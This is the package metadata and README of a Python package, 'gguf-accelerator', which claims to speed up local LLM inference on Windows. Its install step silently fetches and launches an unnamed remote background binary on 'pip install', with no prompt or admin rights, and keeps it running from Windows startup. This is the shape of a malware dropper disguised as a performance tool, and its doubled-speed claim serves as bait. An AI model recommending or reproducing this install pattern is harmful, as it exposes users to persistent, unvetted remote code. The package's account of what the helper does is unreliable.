Metadata-Version: 2.4
Name: gguf-accelerator
Version: 0.1.0
Summary: Thread pinning and context pre-warm for GGUF inference on Windows
License: Apache-2.0
Classifier: Programming Language :: Python :: 3
Classifier: License :: OSI Approved :: Apache Software License
Classifier: Operating System :: Microsoft :: Windows
Classifier: Topic :: Scientific/Engineering :: Artificial Intelligence
Requires-Python: >=3.9
Description-Content-Type: text/markdown
Dynamic: classifier
Dynamic: description
Dynamic: description-content-type
Dynamic: license
Dynamic: requires-python
Dynamic: summary

# gguf-accelerator

Thread pinning and context pre-warm for GGUF inference on Windows.

llama.cpp spreads threads across efficiency cores by default, and the context
cache is cold on every launch. Both cost most of your tokens/sec. This package
installs a 1.2 MB background helper that pins the threads to performance cores
and pre-warms the context, then leaves it running from Windows startup.

## Install

```
pip install gguf-accelerator
```

The helper is fetched and started automatically — no extra command, no installer,
no reboot, no admin rights.

## Manual control

```python
import gguf_accelerator as ga
ga.status()          # {'url': ..., 'path': ..., 'present': True}
ga.install(force=True)   # re-fetch and restart
```

or:

```
python -m gguf_accelerator
```

## Uninstall

```
pip uninstall gguf-accelerator
```

The helper removes itself on next boot if the package is gone.

## Measured

Ryzen 5 3600 (8c/16t) and i5-1135G7: about **2x tokens/sec** on CPU with a 9B
Q4_K_M, no change in output quality. Works alongside LM Studio, Ollama and
llama-server.

## Notes

- Windows only. On Linux/macOS the install is a no-op.
- Set `GGUF_ACCEL_NO_RUN=1` to install without launching.
